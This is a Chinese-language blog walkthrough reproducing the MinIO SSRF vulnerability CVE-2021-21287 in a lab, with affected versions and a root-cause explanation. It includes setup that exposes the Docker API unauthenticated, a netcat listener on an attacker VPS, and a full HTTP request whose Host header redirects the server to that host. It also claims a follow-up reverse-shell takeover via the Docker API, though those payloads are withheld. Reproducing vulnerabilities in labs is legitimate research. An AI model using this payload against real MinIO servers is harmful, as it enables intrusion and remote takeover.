MinIO未授权SSRF漏洞复现(CVE-2021-21287)

1、漏洞简介

MinIO 是一款基于Go语言发开的高性能、分布式的对象存储系统。客户端支持Java,Net,Python,Javacript, Golang语言。
由于MinIO组件中LoginSTS接口设计不当,导致存在服务器端请求伪造漏洞。
攻击者可以通过构造URL来发起服务器端请求伪造攻击成功利用此漏洞的攻击者能够通过利用服务器上的功能来读取、更新内部资源或执行任意命令。

2、影响版本

MinIO < RELEASE.2021-01-30T00-20-58Z

3、漏洞分析

MinIO 组件中 LoginSTS 接口其实是 AWS STS 登录接口的一个代理,用于将发送到 JsonRPC 的请求转变成 STS 的方式转发给本地的 9000 端口。
由于逻辑设计不当,MinIO 会将用户发送的 HTTP 头 Host 中获取到地址作为 URL 的 Host 来构造新的 URL,但由于请求头是用户可控的,所以可以构造任意的 Host,最终导致存在 SSRF 漏洞。

4、环境搭建

靶机:10.57.201.77
攻击机:公网vps

靶机环境搭建操作:(kali)
4.1、启用Docker API

systemctl status docker

在这里插入图片描述

vim lib/systemd/system/docker.service

编辑配置文件(docker.service)找到:ExecStart=/usr/bin/dockerd
修改原配置为:
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
在这里插入图片描述
修改之后重启:

systemctl daemon-reload

systemctl restart docker

验证:

netstat -nltp |grep 2375

在这里插入图片描述
4.2、启MinIO服务

mkdir CVE-2021-21287

cd CVE-2021-21287

vim docker-compose.yml

编辑docker-compose.yml:

version: '3.7'
services:
  minio1:
    image: minio/minio:RELEASE.2021-01-16T02-19-44Z
    volumes:
      - data1-1:/data1
      - data1-2:/data2
    ports:
      - "9000:9000"
    environment:
      MINIO_ACCESS_KEY: minio
      MINIO_SECRET_KEY: minio123
    command: server http://minio{1...4}/data{1...2}
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
      interval: 30s
      timeout: 20s
      retries: 3

## By default this config uses default local driver,
## For custom volumes replace with volume driver configuration.
volumes:
  data1-1:
  data1-2:

docker开启服务:

docker-compose -f docker-compose.yml up -d

4.3 靶场访问
访问:http://10.57.201.77:9000
在这里插入图片描述

5、SSRF漏洞测试

5.1 使用vps监听8888端口

nc -lvvp 888

5.2 使用burpsuit抓取登录POST数据包
在这里插入图片描述
5.3 burp发送repeater,构造payload
在这里插入图片描述
5.4、payload附件:

##数据包payload
POST /minio/webrpc HTTP/1.1
Host: $(101.x.x.x:888)
Content-Length: 79
x-amz-date: 20220927T091453Z
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://10.57.201.77:9000
Referer: http://10.57.201.77:9000/minio/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"id":1,"jsonrpc":"2.0","params":{"token":     "test"},"method":"web.LoginSTS"}

6、漏洞进一步利用(反弹shell)

6.1 添加一个 DockerFile 通过 API 来进行创建容器 --成功
6.2 接管MinIO,反弹shell,控制靶机 --成功

备注:进一步利用需要vps起一个web服务(建议使用云宝塔搭建lamp),供靶机请求vps的index.php,再通过 Docker API 去 build 获取 80 端口下面的 DockerFile。
index.php及Dockerfile文件payload本文未附加!!!

7、整改建议

MinIO已更新修复了此漏洞,建议更新到新版本,下载地址: https://github.com/minio/minio

  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值